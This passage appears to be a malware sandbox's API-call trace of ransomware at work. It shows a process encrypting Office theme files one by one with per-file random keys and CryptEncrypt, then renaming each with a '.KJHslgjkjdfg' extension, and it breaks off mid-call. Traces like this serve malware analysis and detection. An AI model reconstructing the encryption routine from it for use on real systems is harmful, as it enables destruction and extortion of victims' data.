[0147.893] CloseHandle (hObject=0x118) returned 1 [0147.894] GetProcessHeap () returned 0x2a0000 [0147.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.894] GetProcessHeap () returned 0x2a0000 [0147.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.894] GetProcessHeap () returned 0x2a0000 [0147.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.894] GetProcessHeap () returned 0x2a0000 [0147.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.894] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.894] GetProcessHeap () returned 0x2a0000 [0147.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.894] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0147.894] GetProcessHeap () returned 0x2a0000 [0147.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0147.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.895] GetProcessHeap () returned 0x2a0000 [0147.895] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.895] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.895] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.895] GetProcessHeap () returned 0x2a0000 [0147.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0147.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.896] GetProcessHeap () returned 0x2a0000 [0147.896] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.896] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.896] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.896] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.907] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.907] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.907] GetProcessHeap () returned 0x2a0000 [0147.907] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.907] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.907] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.907] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.907] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.907] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.908] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.908] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.908] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.908] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.908] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.908] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa2c, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xa2c, lpOverlapped=0x0) returned 1 [0147.908] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa30, dwBufLen=0xa30 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa30) returned 1 [0147.908] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.908] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xa30, lpOverlapped=0x0) returned 1 [0147.908] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.908] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.908] SetEndOfFile (hFile=0x118) returned 1 [0147.911] GetProcessHeap () returned 0x2a0000 [0147.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.911] GetProcessHeap () returned 0x2a0000 [0147.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.912] CloseHandle (hObject=0x118) returned 1 [0147.913] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0147.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.913] GetProcessHeap () returned 0x2a0000 [0147.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.913] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.913] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.913] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.913] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.913] GetProcessHeap () returned 0x2a0000 [0147.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.913] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.913] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.913] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.917] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.917] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.917] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.917] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.917] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.918] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.918] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.918] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.918] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x101e0, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x101e0, lpOverlapped=0x0) returned 1 [0147.930] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x101e0, dwBufLen=0x101e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x101e0) returned 1 [0147.931] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.931] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x101e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x101e0, lpOverlapped=0x0) returned 1 [0147.931] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.931] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x102a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.931] SetEndOfFile (hFile=0x118) returned 1 [0147.934] GetProcessHeap () returned 0x2a0000 [0147.934] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.934] GetProcessHeap () returned 0x2a0000 [0147.934] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.kjhslgjkjdfg")) returned 1 [0147.948] CloseHandle (hObject=0x118) returned 1 [0147.948] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0147.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.948] GetProcessHeap () returned 0x2a0000 [0147.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.948] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.949] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.949] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0147.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.950] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.951] GetProcessHeap () returned 0x2a0000 [0147.951] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.951] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.951] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.951] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.951] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.951] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.951] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.951] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.951] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.951] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.951] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.951] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e7, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1e7, lpOverlapped=0x0) returned 1 [0147.951] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1f0) returned 1 [0147.951] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.952] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1f0, lpOverlapped=0x0) returned 1 [0147.952] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.952] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.952] SetEndOfFile (hFile=0x118) returned 1 [0147.954] GetProcessHeap () returned 0x2a0000 [0147.954] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.954] GetProcessHeap () returned 0x2a0000 [0147.954] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.954] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.kjhslgjkjdfg")) returned 1 [0147.961] CloseHandle (hObject=0x118) returned 1 [0147.961] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.963] GetProcessHeap () returned 0x2a0000 [0147.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.963] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.963] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.963] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0147.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.970] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.970] GetProcessHeap () returned 0x2a0000 [0147.970] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.970] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.970] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.971] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.971] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.971] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.971] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.971] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.971] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.971] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.971] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.971] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.972] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce7, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x7ce7, lpOverlapped=0x0) returned 1 [0147.981] CryptEncrypt 